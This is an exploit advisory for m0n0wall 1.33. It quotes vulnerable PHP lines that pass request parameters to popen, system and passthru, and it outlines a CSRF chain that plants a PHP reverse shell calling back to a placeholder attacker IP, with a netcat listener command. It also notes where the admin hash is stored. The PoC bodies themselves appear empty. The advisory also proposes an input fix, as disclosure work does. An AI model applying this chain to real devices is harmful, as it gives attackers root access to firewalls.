###################################################################### # Exploit Title: m0n0wall 1.33 CSRF Remote root Access # Date: 30/11/2012 # Author: Yann CAM @ Synetis # Vendor or Software Link: m0n0.ch - m0n0.ch/wall/downloads.php # Version: 1.33 # Category: CSRF Remote root Access # Google dork: # Tested on: FreeBSD ###################################################################### m0n0wall firewall/router distribution description : ====================================================================== m0n0wall is a project aimed at creating a complete, embedded firewall software package that, when used together with an embedded PC, provides all the important features of commercial firewall boxes (including ease of use) at a fraction of the price (free software). m0n0wall is based on a bare-bones version of FreeBSD, along with a web server, PHP and a few other utilities. The entire system configuration is stored in one single XML text file to keep things transparent. m0n0wall is probably the first UNIX system that has its boot-time configuration done with PHP, rather than the usual shell scripts, and that has the entire system configuration stored in XML format. In version 1.33 of the distribution, differents vulnerabilities CSRF RCE reverse root shell can be used. It is strongly advised to update to version 1.34 available now. Proof of Concept 1 : ====================================================================== CSRF exploit to reset WebGUI admin password to admin/mono (with command execution) : File /usr/local/www/exec.php line 250 : $ph = popen($_POST['txtCommand'], "r" ); PoC:
Proof of Concept 2 : ====================================================================== CSRF exploit to execute arbitrary command on server : File /usr/local/www/diag_ping.php line 159 and 161 : 159 : system("/sbin/$pingprog -S$ifaddr -c$count " . escapeshellarg($host)); 161 : system("/sbin/$pingprog -c$count " . escapeshellarg($host)); The remote command execution through CSRF target the $count variable. This variable is defined on line 55 : 55 : $count = $_POST['count']; But this variable is set only if line 47 is false : 47 : if (($_POST['count'] < 1) || ($_POST['count'] > MAX_COUNT)) { So, if an attacker prepend his injection command with a number between 1 and 10, $count is set. You should sanitize this $count variable like : if ((intval($_POST['count']) < 1) || (intval($_POST['count']) > MAX_COUNT)) { PoC :
Proof of Concept 3 : ====================================================================== File /usr/local/www/exec_ram.php line 36 : 36 : passthru($_GET['cmd']); It's the more dangerous vulnerability. By this way, it's possible to an attacker to gain a full interactive reverse shell through a CSRF attack. m0n0wall is so light that none of binary file can be used to establish a reverse shell (netcat, telnet or any alternative aren't present...). So, to make a real reverse shell, I use PHP file. Principle is to put on the m0n0wall web server a new PHP file with several instructions to open a socket to the attacker with the /bin/sh share. m0n0wall PHP-CGI version is compiled with the socket library so it's relatively easy. The CSRF can only create a new file into the web directory on m0n0wall, but can not run this file with PHP. I have tried several syntaxe with /usr/local/bin/php (-r, -f...) to force run it, but unsuccessfull... So, I make a new request into the CSRF script to call this script and to establish the reverse shell. You can see this exploitation in this demonstration video just made as proof of concept here: http://www.youtube.com/watch?v=It288h9VtV4 CSRF generator to Reverse root shell fully interactive :

CSRF m0n0wall 1.33 to root RCE (reverse shell)

m0n0wall 1.33, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell.
The attacker must know the URL address of m0n0wall WebGui.
To obtain the reverseshell, attacker must place a netcat in listening mode.
On attacker machine :

nc -l -vv -p 1337 # Netcat listener, to gain shell control.
(admin hash is in the /config/config.xml file on m0n0wall, and WebGUI access is checked with /usr/local/www/.htpasswd)

URL's m0n0wall 1.33 Targeted :
HTTP URL to download php-reverse-shell.txt
You need to download php-reverse-shell here !
Edit the script to indicate :
$ip = 'ATTACKER_IP_REVERSE_SHELL'; // CHANGE THIS
$port = PORT_IN_LISTENING_MODE; // CHANGE THIS
Then, rename php-reverse-shell.php to psr.txt and host it on a accessible web server.
http://
CSRF exploit to send to an admin :